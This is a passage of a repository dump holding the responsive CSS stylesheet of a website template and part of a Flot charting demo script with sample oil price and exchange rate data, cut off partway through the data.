.breadcrumb { margin-bottom: 10px; } .well { font-size: 14px; margin-bottom: 10px; } h2.typoh2 { font-size: 1.5em; } .label { font-size: 60%; } } @media (max-width:480px){ .banner { min-height: 405px; } .table h1 { font-size: 26px; } .table h2 { font-size: 23px; } .table h3 { font-size: 20px; } .label { font-size: 53%; } .alert,p { font-size: 14px; } .pagination { margin: 20px 0 0px; } } @media (max-width: 320px){ .grid_4 { margin-top: 18px; } h3.title { font-size: 1.6em; } .alert, p,ol.breadcrumb li, .grid_3 p,.well, ul.list-group li, li.list-group-item1,a.list-group-item { font-size: 13px; } .alert { padding: 10px; margin-bottom: 10px; } ul.pagination li a { font-size: 14px; padding: 5px 11px; } .list-group { margin-bottom: 10px; } .well { padding: 10px; } .nav > li > a { font-size: 14px; } table.table.table-striped,.table-bordered,.bs-docs-example { display: none; } } /*--//Typography --*/ /*-- contact --*/ .map iframe{ width:100%; min-height:500px; } .contact-grdl{ padding:0 !important; } .contact-grdl span{ color:#66D5DE; font-size:2em; } .contact-grdr ul li{ list-style-type:none; color:#999; font-size:14px; margin:0 0 1em; } .address{ margin:2em 0; } .contact-grdr ul li a{ color:#66D5DE; text-decoration:none; display:block; margin:0.6em 0 0; } .contact-grdr ul li a:hover{ color:#999; } .contact-grid input[type="text"],.contact-grid input[type="email"],.contact-grid textarea{ outline:none; border:1px solid #E9E9E9; width:100%; background:none; color:#999; font-size:14px; padding:12px 10px; } .contact-grid textarea{ min-height:123px; resize:none; margin:0 0 .2em; } .contact-grid input[type="email"]{ margin:.5em 0; } .contact-grid input[type="submit"]{ outline:none; border:none; width:100%; background:#66D5DE; color:#fff; font-size:14px; padding:12px 0px; transition:.5s all; -webkit-transition:.5s all; -moz-transition:.5s all; -o-transition:.5s all; -ms-transition:.5s all; } .contact-grid input[type="submit"]:hover{ background:#999; } .newsletter{ padding:5.45em 2em 3em 0.5em; text-align: center; border:1px solid #E9E9E9; } .newsletter h3{ font-size:1.5em; color: #999; margin:0; text-align: center; } .newsletter h3 span{ font-size: 1.5em; top: -1em; left: 1.8em; color:#F9D780; } /*-- //contact --*/ /*-- gallery --*/ .gallery-grids{ margin:3em 0 0; } .gallery-grid{ float:left; width:33.33%; } .gallery-grid img { border: 1px solid #fff; } /*-- //gallery --*/ /*-- services --*/ .services-overview-grd{ width:100% !important; } .services-grd1 h4{ font-size: 1.4em; color:#66D5DE; margin: 0 0 0.8em; } .services-grd:nth-child(4) { margin: 3em 0; } .services-grd1-left span { font-size: 2em; color:#D1D1D1; } .services-grd1 p{ color:#999; line-height:1.8em; margin:0; font-size:14px; } .services-overview{ margin:5em 0 0; } .services-grd:nth-child(2) { margin: 3em 0; } .services-overview-gd{ padding:1.2em; background:#F8F8F8; } .services-overview-gd:hover{ background:#eeeeee; } .services-overview-gd h4{ line-height: 1.5em; text-transform:capitalize; font-size: 1.4em; color:#66D5DE; margin: 0 0 0.5em; } .services-overview-gd p{ color:#999; font-size:14px; margin:0; line-height: 1.8em; } .services-overview-grids:nth-child(2) { margin: 3em 0; } .services-overview-gd:hover .social-icons li a.p{ background: url(../images/img-sp.png) no-repeat -71px -9px; display: block; transition:.5s all; -webkit-transition:.5s all; -moz-transition:.5s all; -o-transition:.5s all; -ms-transition:.5s all; } .services-overview-gd:hover .social-icons li a.in{ background: url(../images/img-sp.png) no-repeat -72px -58px; display: block; transition:.5s all; -webkit-transition:.5s all; -moz-transition:.5s all; -o-transition:.5s all; -ms-transition:.5s all; } .services-overview-gd:hover .social-icons li a.v{ background: url(../images/img-sp.png) no-repeat -72px -109px; display: block; transition:.5s all; -webkit-transition:.5s all; -moz-transition:.5s all; -o-transition:.5s all; -ms-transition:.5s all; } .services-overview-gd:hover .social-icons li a.facebook{ background: url(../images/img-sp.png) no-repeat -72px -159px; display: block; transition:.5s all; -webkit-transition:.5s all; -moz-transition:.5s all; -o-transition:.5s all; -ms-transition:.5s all; } /*-- //services --*/ /*-- about --*/ .about-grid h4{ text-transform: capitalize; font-size: 1.5em; color:#66D5DE; margin: 0em 0 1em; } .about-grid p{ color:#999; font-size:14px; margin:0; line-height:1.8em; } .about-gd-left{ float:left; width:25%; } .about-gd-right{ float:right; width:75%; } .about-gd:nth-child(3),.about-gd:nth-child(5){ margin:1em 0; } .about-gd:nth-child(2) { margin: 3em 0 0; } .about-grid img { margin: 3em 0 2em; } /*-- //about --*/ /*-- events --*/ .events-grids{ margin:3em 0 0; } .mnth-date-left h4{ border-right:1px solid #DEDEDE; font-size:2em; color:#f9d780; margin:0; padding: .5em 0; } .mnth-date-left h4 span{ display:block; font-size:.8em; } .mnth-date-right p{ font-size:14px; color:#66D5DE; margin:1em 0 0; line-height:1.8em; } p.quasi{ margin:2em 0 3em; color:#999; font-size:14px; line-height:1.8em; } .mnth-date-left { padding: 0; } .events { background-color:#F8F8F8; } /*-- //events --*/ /*-- history --*/ .history-left-grid p{ font-size:1em; color:#CBCBCB; margin:0; padding-left: 1em; } .glyphicon-calendar { left: -13px; } .history-left-grid h4,.history-right h4{ color:#66D5DE; font-size: 1.3em; margin: 1em 0; text-transform: capitalize; } p.aut,.history-right p{ color:#999; font-size:14px; margin:0; line-height:1.8em; padding: 0; } .history-left-grid:nth-child(3){ margin:2em 0; } .history-right h4{ margin:3em 0 1em !important; } .history-right ul{ padding:2em 0 0; } .history-right ul li{ list-style-type:none; margin: 0 0 15px; background: url(../images/1.png) no-repeat 0px 7px; display: block; padding-left: 2em; } .history-right ul li a{ font-size:18px; color:#999; text-decoration:none; text-transform:capitalize; } .history-right ul li a:hover{ text-decoration:none; color: #66D5DE; } .history-left-grid:nth-child(2) { margin: 3em 0 0; } /*-- //history --*/ /*-- single --*/ .artical-links{ padding: 10px 0px; border:1px dashed rgba(0, 0, 0, 0.61); border-left: none; margin-top: 5px; border-right: none; } .artical-links ul li{ display: inline-block; font-size: 14px; color: #999; margin-right: 2em; } .artical-links ul li:last-child{ float:right; } .artical-links ul li a{ color: #999; text-decoration: none; font-family: 'Open Sans', sans-serif; } .artical-links ul li a:hover { text-decoration: none; color:#66D5DE; } .artical-content p { color: #999; font-size: 14px; line-height: 1.8em; margin:2em 0; } /*---comment-box----*/ .table-form{ margin: 2em 0 0; } .table-form input[type="text"],.table-form input[type="email"],.table-form textarea{ border:1px solid #E3E3E3; outline: none; padding: 14px; color:#D3D3D3; overflow: hidden; display: block; font-size: 14px; background:none; } .table-form input[type="email"]{ margin:1em 0; } .table-form textarea{ min-height:220px; resize: none; margin:1em 0; } .table-form input[type="submit"],.table-form textarea,.table-form input[type="text"],.table-form input[type="email"] { width:70%; } .table-form input[type="submit"] { background:#66D5DE; color: #fff; font-size: 1.2em; display: block; outline: none; border: none; padding:0.5em 0; text-align:center; transition: 0.5s all; -webkit-transition: 0.5s all; -o-transition: 0.5s all; -moz-transition: 0.5s all; -ms-transition: 0.5s all; } .table-form input[type="submit"]:hover{ background:#f9d780; } .top-comment-left{ float: left; width: 13%; } .top-comment-right{ float: left; width:84%; margin-left:1em; } .top-comment-right ul{ padding: 0; margin: 0; } .top-comment-right ul li { display: inline-block; color:#CDCDCD; padding: 0.3em; font-weight: 700; } .top-comment-right ul li a{ text-decoration: none; font-size: 1em; color:#66D5DE; transition: 0.5s all; -webkit-transition: 0.5s all; -o-transition: 0.5s all; -moz-transition: 0.5s all; -ms-transition: 0.5s all; } .top-comment-right ul li a:hover{ color:#f9d780; } .top-comment-right p { color:#999; font-size: 14px; margin: 0; line-height: 1.8em; } .top-comment-right ul li span.left-at{ font-size: 1.2em; } .top-comment-right ul li span.right-at{ font-size: 1em; } .comments-top-top { margin: 1.5em 0; border: 1px solid #EAEAEA; padding: 2em; width: 70%; } .blog-top p { font-size: 1em; color: #fff; line-height: 1.8em; text-align: left; margin: 1em 0; } .artical-links ul{ padding: 0 0 0 1em; } .artical-links ul li span { left: -7px; } .navbar-collapse { padding-right: 0; padding-left: 0; } .artical-content img { margin: 3em 0 0; } .single h3 { text-align: left; } .comment-grid-top { margin: 3em 0; } /*-- //single --*/ /*-----start-responsive-design------*/ @media (max-width:1440px){ .search i { left: 15.8em; } .logo { margin-left: 14em; } .banner { min-height: 690px; } } @media (max-width:1366px){ .banner1 { min-height: 190px; } .search i { left: 14.8em; } .logo { margin-left: 11em; } .map iframe { min-height: 350px; } .welcome-bottom-grids { margin: 6em 0 0; } .welcome-bottom { min-height: 330px; } } @media (max-width: 1280px){ .search i { left: 13.8em; } .logo { margin-left: 9em; } .banner-info { margin: 13em 0 1em 0em; } .banner { min-height: 600px; } } @media (max-width: 1024px){ .search { margin-left: 2em; } .search i { left: 10.8em; } .logo-right { margin-right: 1em; } .logo { margin-left: 4.5em; } .nav > li > a { padding: 20px 20px; } .footer { padding: 3em 0 3em; } .banner-bottom, .features, .typo, .contact-grids, .gallery, .services, .about, .events, .history, .single { padding: 4em 0; } .services-grd1-right { padding: 0; } .banner-info { width: 60%; } .banner { min-height: 500px; } .banner-bottom-grid-left h4 { font-size: 1.3em; } .welcome-bottom { background: url(../images/5.jpg) no-repeat -175px 0px; background-size: cover; -webkit-background-size: cover; -moz-background-size: cover; -o-background-size: cover; -ms-background-size: cover; } .features-grids1 h2 { font-size: 1.3em; } .features-grids1-left ul li a { font-size: 1em; } .features-grids1-left ul li { background: url(../images/1.png) no-repeat 170px 9px; } .about-grid h4 { font-size: 1.3em; } } @media (max-width: 768px){ .logo-right { display: none; } .logo { margin: 0 2em 0 0em; float: right; } .search { width: 27%; } .navbar-nav { margin-left: 1em; } .nav > li > a { padding: 20px 11px; } .map iframe { min-height: 260px; } .banner-bottom, .features, .typo, .contact-grids, .gallery, .services, .about, .events, .history, .single { padding: 3em 0; } .contact-grdl { text-align: center; } .contact-grid:nth-child(3) { margin: 2em 0; } .footer-grids { float: left; width: 50%; } .footer-grids:nth-child(2) { margin:0 0 1em; } .services-grd:nth-child(2) { margin: 3em 0 0; } .services-grd1 { margin: 0 0 1em; } .services-overview-grid { float: left; width: 33.33%; } .services-overview-gd { padding: 1em; } .about-grid:nth-child(2) { margin: 3em 0 0; } .mnth-date-left { width: 20%; } p.quasi { margin: 1em 0 2em; } .events-grid:nth-child(2) { margin: 2em 0; } .history-right { margin: 3em 0 0; } .history-right h4 { margin: 1.5em 0 1em !important; } .history-left-grid:nth-child(2) { margin: 1.5em 0 0; } .about-gd-right { width: 84%; } .about-gd-left { width: 15%; } .banner-info { margin: 6em 0 1em 0em; } .banner-info h1 { font-size: 1.5em; } .banner { min-height: 345px; } .banner-bottom-grid:nth-child(2) { margin: 2em 0; } .welcome-bottom-grids { margin: 3em 0 0; } .welcome-bottom-grid-left h3 { font-size: 1.1em; line-height: 1.4em; } .welcome-bottom { min-height: 265px; } .features-grids1 { margin: 2em 0 0; } .features-grids1-left ul li { background: url(../images/1.png) no-repeat 640px 9px; } .features-grids1-left ul { padding: 0; } .features-grid-right { margin: 3em 0 0; } .comments-top-top { width: 90%; } .table-form input[type="submit"], .table-form textarea, .table-form input[type="text"], .table-form input[type="email"] { width: 90%; } } @media (max-width: 767px){ .navbar-default .navbar-toggle .icon-bar { background-color: #fff; } .navbar-default .navbar-toggle { border: none; background-color: #66D5DE; } .navbar-default .navbar-toggle:hover, .navbar-default .navbar-toggle:focus { background-color: #66D5DE; } .navbar-toggle { float: none; padding: 9px 10px; margin:.6em 0 0 21.5em; } .navbar-nav { margin: 7.5px 0px; background-color: #F9D780; text-align: center; } .navbar-default .navbar-collapse, .navbar-default .navbar-form { border: none; box-shadow: none; } .navbar-default .navbar-nav > li > a { color: #fff; } } @media (max-width:667px){ .search { width: 31%; } .navbar-toggle { margin: .6em 0 0 18em; } } @media (max-width: 640px){ .search { margin-left: 1em; width: 33%; } .logo a { font-size: 1.8em; } .logo a span { font-size: 11px; letter-spacing: 5px; } .logo { margin: 0 1em 0 0em; } .navbar-toggle { margin: .6em 0 0 17.4em; } .nav > li > a { padding: 10px 0px; } .banner-info h1 { font-size: 1.3em; } .banner-bottom h3, .features-grid-left h3, .features-grid-right h3, h3.title, .gallery h3, .history h3, .single h3, .events h3, .services h3, .about-grid h3 { font-size: 1.6em; } .banner-bottom-grids:nth-child(2) { margin: 2.5em 0 0 0em; } .banner-bottom-grid:nth-child(2) { margin: 3em 0; } .welcome-bottom-grid-l { float: none; margin: 3em 0 0 18.5em; } .welcome-bottom-grid-left { float: none; margin: 2em 0 0; width: 70%; } .welcome-bottom { background: url(../images/5.jpg) no-repeat -290px 0px; background-size: cover; -webkit-background-size: cover; -moz-background-size: cover; -o-background-size: cover; -ms-background-size: cover; } .features-grids1-left ul li { background: url(../images/1.png) no-repeat 515px 9px; } .features-grids1-left:nth-child(4) { margin: 0 0 2em; } .breadco { margin: 0 0 2em !important; } .artical-content img { margin: 1.5em 0 0; } .artical-links ul li:last-child { float: none; margin: 1em 0 0; } .comments-top-top { width: 100%; padding:1em; } .about-grid img { margin: 2em 0 1em; } .mnth-date-left { width: 25%; } .services-grd:nth-child(2) { margin: 1.5em 0 0; } .services-overview { margin: 2em 0 0; } } @media (max-width:568px){ .search { width: 37%; } } @media (max-width:480px){ .logo a { font-size: 1.5em; letter-spacing: 5px; } .search { margin-top: -1.3em; width: 44%; } .search input[type="text"] { padding: 10px 45px 10px 10px; } .navbar-toggle { margin: .6em 0 0 12.4em; } .banner-info { width: 81%; margin: 4em 0 1em 0em; } .banner { min-height: 280px; } .more a { padding: 5px 20px; } .banner-bottom-grid-left ul { padding: 1em 0 0em; } .banner-bottom-grid-left p { margin: 0 0 1.5em; } .banner-bottom { padding: 3em 0 1em; } .welcome-bottom-grid-left { margin: 1.5em 0 0; width: 96%; } .welcome-bottom-grid-left p { margin: 0.5em 0 0; } .welcome-bottom-grid-l { margin: 3em 0 0 19.5em; } .features-grids1 h2 { font-size: 1.1em; } .features-grids1 { margin: 1.5em 0 0; } .features-grids1-left ul li { background: url(../images/1.png) no-repeat 355px 9px; } .test1 { margin: 2em 0 0; } .footer-grids h4 a { font-size: 2em; } .footer { padding: 2em 0 2em; } .banner-bottom h3, .features-grid-left h3, .features-grid-right h3, h3.title, .gallery h3, .history h3, .single h3, .events h3, .services h3, .about-grid h3 { font-size: 1.4em; } .banner1 { min-height: 110px; } .artical-content p { margin: 1em 0; } .comment-grid-top { margin: 2em 0; } .top-comment-right { float: right; margin-left: 0; } .top-comment-right ul li span.right-at { font-size: .8em; } .top-comment-right ul li { padding: 0.1em; } .top-comment-right ul li span.left-at { font-size: 1.1em; } .table-form { margin: 1.5em 0 0; } .table-form input[type="submit"], .table-form textarea, .table-form input[type="text"], .table-form input[type="email"] { width: 100%; padding: 10px; } .table-form textarea { min-height: 150px; } .table-form input[type="submit"] { font-size: 1em; } .about-grid h4 { font-size: 1.1em; line-height: 1.4em; margin: 0 0 .5em; } .about-gd:nth-child(2) { margin: 1em 0 0; } .mnth-date-left h4 { font-size: 1.7em; } .events-grids { margin: 1em 0 0; } .services-grd1-left { width: 20%; } .services-overview-grid { float: none; width: 85%; margin: 0 auto 2em; } .mnth-date-left { width: 30%; } .history-right ul li a { font-size: 16px; } .services-grd1-left span { font-size: 1.7em; } .services-overview-grids:nth-child(2) { margin: 1.5em 0 0; } .contact-grdl span { font-size: 1.5em; } .address { margin: 1em 0; } .contact-grid input[type="text"], .contact-grid input[type="email"], .contact-grid textarea { padding: 10px 10px; } } @media (max-width:414px){ .search i { left: 8.8em; top: 2.1em; } .logo a { font-size: 1.3em; letter-spacing: 2px; } .logo a span { font-size: 7px; } .navbar-toggle { margin: .6em 0 0 10.4em; } .banner-bottom-grid-left h4 { font-size: 1.1em; } .banner-bottom-grid-left { padding: 0; } .welcome-bottom-grid-l { margin: 3em 0 0 15.5em; } .welcome-bottom { background: url(../images/5.jpg) no-repeat -497px 0px; background-size: cover; -webkit-background-size: cover; -moz-background-size: cover; -o-background-size: cover; -ms-background-size: cover; } .banner-bottom, .features, .typo, .contact-grids, .gallery, .services, .about, .events, .history, .single { padding: 2em 0; } .features-grids1-left ul li { background: url(../images/1.png) no-repeat 286px 9px; } .test1-right { padding: 0; } .footer-grids { padding: 0; float: none; width: 100%; } .social-icons { padding: 1em 0 0; } .footer-grids h4 a { font-size: 1.7em; } .footer h3 { font-size: 1.3em; } .services-overview-grid { width: 100%; } .gallery-grid { float: none; width: 80%; margin: 0 auto; } } @media (max-width:375px){ .search i { left: 7.8em; } } @media (max-width:320px){ .search { margin-left: 0.5em; } .search i { left: 6.8em; } .address { margin: .5em 0; } .contact-grid input[type="submit"] { padding: 10px 0px; } .search input[type="text"],.contact-grid input[type="text"], .contact-grid input[type="email"], .contact-grid textarea,.contact-grdr ul li,.services-overview-gd p,.services-grd1 p,.about-grid p,p.aut, .history-right p,.table-form input[type="submit"], .table-form textarea, .table-form input[type="text"], .table-form input[type="email"],.top-comment-right p,.artical-content p,.artical-links ul li,.banner-info p,.footer-grids form input[type="text"],.footer-bottom p,.footer-grids form input[type="submit"],.footer-grids ul li a,.footer-grids p,.test1-right p,.welcome-bottom-grid-left p,.banner-bottom-grid-left ul li,.banner-bottom-grid-left p { font-size: 13px; } .newsletter h3 { font-size: 1.2em; } .newsletter { padding: 3.45em 2em 2em 0.5em; } .contact-grdr ul li { margin: 0 0 0.3em; } .gallery-grid { width: 95%; } .map iframe { min-height: 200px; } .services-overview-gd h4 { font-size: 1.1em; } .history-right { margin: 1.5em 0 0; } .history-right h4 { margin: 1em 0 0.5em !important; } .history-right ul li a { font-size: 14px; } .history-right ul { padding: 1em 0 0; } .history-right ul li { margin: 0 0 9px; } .about-grid:nth-child(2) { margin: 1.5em 0 0; } .about-grid img { margin: 1.5em 0 0.5em; } .table-form textarea { min-height: 120px; } .top-comment-left { width: 23%; } .top-comment-right { width: 70%; } .footer-bottom { padding: 1em 0; } .footer-grids ul li { margin-bottom: 0.5em; } .test1-right p span { margin: 0.5em 0 0; } .test11 { margin: 1em 0 0; } .features-grids1 h2 { font-size: 1em; line-height: 1.4em; } .about-grid h4 { font-size: 1em; } .mnth-date-left { width: 40%; } .events-grid:nth-child(2) { margin: 1.5em 0; } p.quasi { margin: 0.5em 0 1.5em; font-size: 13px; } .history-left-grid p { font-size: 13px; } .history-left-grid h4, .history-right h4 { font-size: 1em; margin: 0.5em 0; } .features-grid-left,.features-grid-right,.contact-grid,.services-grd1,.about-grid,.events-grid,.history-left,.history-right { padding: 0; } .services-grd1 h4 { font-size: 1em; margin: 0 0 0.5em; } .features-grids1 p { font-size: 13px; margin: 0.3em 0 1em; } .features-grids1-left ul li a { font-size: 14px; } .features-grids1-left ul li { background: url(../images/1.png) no-repeat 225px 9px; margin: 0 0 7px; } .welcome-bottom { background: url(../images/5.jpg) no-repeat -540px 0px; background-size: cover; -webkit-background-size: cover; -moz-background-size: cover; -o-background-size: cover; -ms-background-size: cover; } .features-grids1 { margin: 1em 0 0; } .banner-bottom-grid-left p { margin: 0 0 1em; } .banner-bottom-grid-right { margin: 2em 0 0; } .banner-bottom-grid:nth-child(2) { margin: 0; } .banner-bottom-grid-l { margin: 1em 0 2em; } .logo { margin: 0.2em 0.2em 0 0em; } .navbar-toggle { margin: .6em 0 0 7.4em; } .nav > li > a { padding: 6px 0px; } .banner-info h1 { font-size: 1em; } .banner-info { width: 100%; margin: 2em 0 1em 0em; } .banner { background: url(../images/banner1.jpg) no-repeat -130px 0px; background-size: cover; -webkit-background-size: cover; -moz-background-size: cover; -ms-background-size: cover; -o-background-size: cover; min-height: 220px; } .banner-bottom h3, .features-grid-left h3, .features-grid-right h3, h3.title, .gallery h3, .history h3, .single h3, .events h3, .services h3, .about-grid h3 { font-size: 1.2em; } .banner-bottom-grids:nth-child(2) { margin:0.5em 0 0 0em; } .banner-bottom-grid-left,.banner-bottom-grid-right { float: none; width: 100%; } .banner-bottom-grid-left h4 { font-size: 1em; } .banner-bottom { padding: 2em 0 0; } .welcome-bottom-grids { margin: 0; } .welcome-bottom-grid-l { margin: 2em 0 0 9.5em; } .welcome-bottom-grid-left h3 { font-size: 1em; } .welcome-bottom-grid-left { margin: 1em 0 0; width: 91%; } .test1 { margin: 1em 0 0; } .features-grid-right { margin: 2em 0 0; } } ================================================ FILE: web_simplecms/simplecms/data/flot-data.js ================================================ //Flot Line Chart $(document).ready(function() { var offset = 0; plot(); function plot() { var sin = [], cos = []; for (var i = 0; i < 12; i += 0.2) { sin.push([i, Math.sin(i + offset)]); cos.push([i, Math.cos(i + offset)]); } var options = { series: { lines: { show: true }, points: { show: true } }, grid: { hoverable: true //IMPORTANT! this is needed for tooltip to work }, yaxis: { min: -1.2, max: 1.2 }, tooltip: true, tooltipOpts: { content: "'%s' of %x.1 is %y.4", shifts: { x: -60, y: 25 } } }; var plotObj = $.plot($("#flot-line-chart"), [{ data: sin, label: "sin(x)" }, { data: cos, label: "cos(x)" }], options); } }); //Flot Pie Chart $(function() { var data = [{ label: "Series 0", data: 1 }, { label: "Series 1", data: 3 }, { label: "Series 2", data: 9 }, { label: "Series 3", data: 20 }]; var plotObj = $.plot($("#flot-pie-chart"), data, { series: { pie: { show: true } }, grid: { hoverable: true }, tooltip: true, tooltipOpts: { content: "%p.0%, %s", // show percentages, rounding to 2 decimal places shifts: { x: 20, y: 0 }, defaultTheme: false } }); }); //Flot Multiple Axes Line Chart $(function() { var oilprices = [ [1167692400000, 61.05], [1167778800000, 58.32], [1167865200000, 57.35], [1167951600000, 56.31], [1168210800000, 55.55], [1168297200000, 55.64], [1168383600000, 54.02], [1168470000000, 51.88], [1168556400000, 52.99], [1168815600000, 52.99], [1168902000000, 51.21], [1168988400000, 52.24], [1169074800000, 50.48], [1169161200000, 51.99], [1169420400000, 51.13], [1169506800000, 55.04], [1169593200000, 55.37], [1169679600000, 54.23], [1169766000000, 55.42], [1170025200000, 54.01], [1170111600000, 56.97], [1170198000000, 58.14], [1170284400000, 58.14], [1170370800000, 59.02], [1170630000000, 58.74], [1170716400000, 58.88], [1170802800000, 57.71], [1170889200000, 59.71], [1170975600000, 59.89], [1171234800000, 57.81], [1171321200000, 59.06], [1171407600000, 58.00], [1171494000000, 57.99], [1171580400000, 59.39], [1171839600000, 59.39], [1171926000000, 58.07], [1172012400000, 60.07], [1172098800000, 61.14], [1172444400000, 61.39], [1172530800000, 61.46], [1172617200000, 61.79], [1172703600000, 62.00], [1172790000000, 60.07], [1173135600000, 60.69], [1173222000000, 61.82], [1173308400000, 60.05], [1173654000000, 58.91], [1173740400000, 57.93], [1173826800000, 58.16], [1173913200000, 57.55], [1173999600000, 57.11], [1174258800000, 56.59], [1174345200000, 59.61], [1174518000000, 61.69], [1174604400000, 62.28], [1174860000000, 62.91], [1174946400000, 62.93], [1175032800000, 64.03], [1175119200000, 66.03], [1175205600000, 65.87], [1175464800000, 64.64], [1175637600000, 64.38], [1175724000000, 64.28], [1175810400000, 64.28], [1176069600000, 61.51], [1176156000000, 61.89], [1176242400000, 62.01], [1176328800000, 63.85], [1176415200000, 63.63], [1176674400000, 63.61], [1176760800000, 63.10], [1176847200000, 63.13], [1176933600000, 61.83], [1177020000000, 63.38], [1177279200000, 64.58], [1177452000000, 65.84], [1177538400000, 65.06], [1177624800000, 66.46], [1177884000000, 64.40], [1178056800000, 63.68], [1178143200000, 63.19], [1178229600000, 61.93], [1178488800000, 61.47], [1178575200000, 61.55], [1178748000000, 61.81], [1178834400000, 62.37], [1179093600000, 62.46], [1179180000000, 63.17], [1179266400000, 62.55], [1179352800000, 64.94], [1179698400000, 66.27], [1179784800000, 65.50], [1179871200000, 65.77], [1179957600000, 64.18], [1180044000000, 65.20], [1180389600000, 63.15], [1180476000000, 63.49], [1180562400000, 65.08], [1180908000000, 66.30], [1180994400000, 65.96], [1181167200000, 66.93], [1181253600000, 65.98], [1181599200000, 65.35], [1181685600000, 66.26], [1181858400000, 68.00], [1182117600000, 69.09], [1182204000000, 69.10], [1182290400000, 68.19], [1182376800000, 68.19], [1182463200000, 69.14], [1182722400000, 68.19], [1182808800000, 67.77], [1182895200000, 68.97], [1182981600000, 69.57], [1183068000000, 70.68], [1183327200000, 71.09], [1183413600000, 70.92], [1183586400000, 71.81], [1183672800000, 72.81], [1183932000000, 72.19], [1184018400000, 72.56], [1184191200000, 72.50], [1184277600000, 74.15], [1184623200000, 75.05], [1184796000000, 75.92], [1184882400000, 75.57], [1185141600000, 74.89], [1185228000000, 73.56], [1185314400000, 75.57], [1185400800000, 74.95], [1185487200000, 76.83], [1185832800000, 78.21], [1185919200000, 76.53], [1186005600000, 76.86], [1186092000000, 76.00], [1186437600000, 71.59], [1186696800000, 71.47], [1186956000000, 71.62], [1187042400000, 71.00], [1187301600000, 71.98], [1187560800000, 71.12], [1187647200000, 69.47], [1187733600000, 69.26], [1187820000000, 69.83], [1187906400000, 71.09], [1188165600000, 71.73], [1188338400000, 73.36], [1188511200000, 74.04], [1188856800000, 76.30], [1189116000000, 77.49], [1189461600000, 78.23], [1189548000000, 79.91], [1189634400000, 80.09], [1189720800000, 79.10], [1189980000000, 80.57], [1190066400000, 81.93], [1190239200000, 83.32], [1190325600000, 81.62], [1190584800000, 80.95], [1190671200000, 79.53], [1190757600000, 80.30], [1190844000000, 82.88], [1190930400000, 81.66], [1191189600000, 80.24], [1191276000000, 80.05], [1191362400000, 79.94], [1191448800000, 81.44], [1191535200000, 81.22], [1191794400000, 79.02], [1191880800000, 80.26], [1191967200000, 80.30], [1192053600000, 83.08], [1192140000000, 83.69], [1192399200000, 86.13], [1192485600000, 87.61], [1192572000000, 87.40], [1192658400000, 89.47], [1192744800000, 88.60], [1193004000000, 87.56], [1193090400000, 87.56], [1193176800000, 87.10], [1193263200000, 91.86], [1193612400000, 93.53], [1193698800000, 94.53], [1193871600000, 95.93], [1194217200000, 93.98], [1194303600000, 96.37], [1194476400000, 95.46], [1194562800000, 96.32], [1195081200000, 93.43], [1195167600000, 95.10], [1195426800000, 94.64], [1195513200000, 95.10], [1196031600000, 97.70], [1196118000000, 94.42], [1196204400000, 90.62], [1196290800000, 91.01], [1196377200000, 88.71], [1196636400000, 88.32], [1196809200000, 90.23], [1196982000000, 88.28], [1197241200000, 87.86], [1197327600000, 90.02], [1197414000000, 92.25], [1197586800000, 90.63], [1197846000000, 90.63], [1197932400000, 90.49], [1198018800000, 91.24], [1198105200000, 91.06], [1198191600000, 90.49], [1198710000000, 96.62], [1198796400000, 96.00], [1199142000000, 99.62], [1199314800000, 99.18], [1199401200000, 95.09], [1199660400000, 96.33], [1199833200000, 95.67], [1200351600000, 91.90], [1200438000000, 90.84], [1200524400000, 90.13], [1200610800000, 90.57], [1200956400000, 89.21], [1201042800000, 86.99], [1201129200000, 89.85], [1201474800000, 90.99], [1201561200000, 91.64], [1201647600000, 92.33], [1201734000000, 91.75], [1202079600000, 90.02], [1202166000000, 88.41], [1202252400000, 87.14], [1202338800000, 88.11], [1202425200000, 91.77], [1202770800000, 92.78], [1202857200000, 93.27], [1202943600000, 95.46], [1203030000000, 95.46], [1203289200000, 101.74], [1203462000000, 98.81], [1203894000000, 100.88], [1204066800000, 99.64], [1204153200000, 102.59], [1204239600000, 101.84], [1204498800000, 99.52], [1204585200000, 99.52], [1204671600000, 104.52], [1204758000000, 105.47], [1204844400000, 105.15], [1205103600000, 108.75], [1205276400000, 109.92], [1205362800000, 110.33], [1205449200000, 110.21], [1205708400000, 105.68], [1205967600000, 101.84], [1206313200000, 100.86], [1206399600000, 101.22], [1206486000000, 105.90], [1206572400000, 107.58], [1206658800000, 105.62], [1206914400000, 101.58], [1207000800000, 100.98], [1207173600000, 103.83], [1207260000000, 106.23], [1207605600000, 108.50], [1207778400000, 110.11], [1207864800000, 110.14], [1208210400000, 113.79], [1208296800000, 114.93], [1208383200000, 114.86], [1208728800000, 117.48], [1208815200000, 118.30], [1208988000000, 116.06], [1209074400000, 118.52], [1209333600000, 118.75], [1209420000000, 113.46], [1209592800000, 112.52], [1210024800000, 121.84], [1210111200000, 123.53], [1210197600000, 123.69], [1210543200000, 124.23], [1210629600000, 125.80], [1210716000000, 126.29], [1211148000000, 127.05], [1211320800000, 129.07], [1211493600000, 132.19], [1211839200000, 128.85], [1212357600000, 127.76], [1212703200000, 138.54], [1212962400000, 136.80], [1213135200000, 136.38], [1213308000000, 134.86], [1213653600000, 134.01], [1213740000000, 136.68], [1213912800000, 135.65], [1214172000000, 134.62], [1214258400000, 134.62], [1214344800000, 134.62], [1214431200000, 139.64], [1214517600000, 140.21], [1214776800000, 140.00], [1214863200000, 140.97], [1214949600000, 143.57], [1215036000000, 145.29], [1215381600000, 141.37], [1215468000000, 136.04], [1215727200000, 146.40], [1215986400000, 145.18], [1216072800000, 138.74], [1216159200000, 134.60], [1216245600000, 129.29], [1216332000000, 130.65], [1216677600000, 127.95], [1216850400000, 127.95], [1217282400000, 122.19], [1217455200000, 124.08], [1217541600000, 125.10], [1217800800000, 121.41], [1217887200000, 119.17], [1217973600000, 118.58], [1218060000000, 120.02], [1218405600000, 114.45], [1218492000000, 113.01], [1218578400000, 116.00], [1218751200000, 113.77], [1219010400000, 112.87], [1219096800000, 114.53], [1219269600000, 114.98], [1219356000000, 114.98], [1219701600000, 116.27], [1219788000000, 118.15], [1219874400000, 115.59], [1219960800000, 115.46], [1220306400000, 109.71], [1220392800000, 109.35], [1220565600000, 106.23], [1220824800000, 106.34] ]; var exchangerates = [ [1167606000000, 0.7580], [1167692400000, 0.7580], [1167778800000, 0.75470], [1167865200000, 0.75490], [1167951600000, 0.76130], [1168038000000, 0.76550], [1168124400000, 0.76930], [1168210800000, 0.76940], [1168297200000, 0.76880], [1168383600000, 0.76780], [1168470000000, 0.77080], [1168556400000, 0.77270], [1168642800000, 0.77490], [1168729200000, 0.77410], [1168815600000, 0.77410], [1168902000000, 0.77320], [1168988400000, 0.77270], [1169074800000, 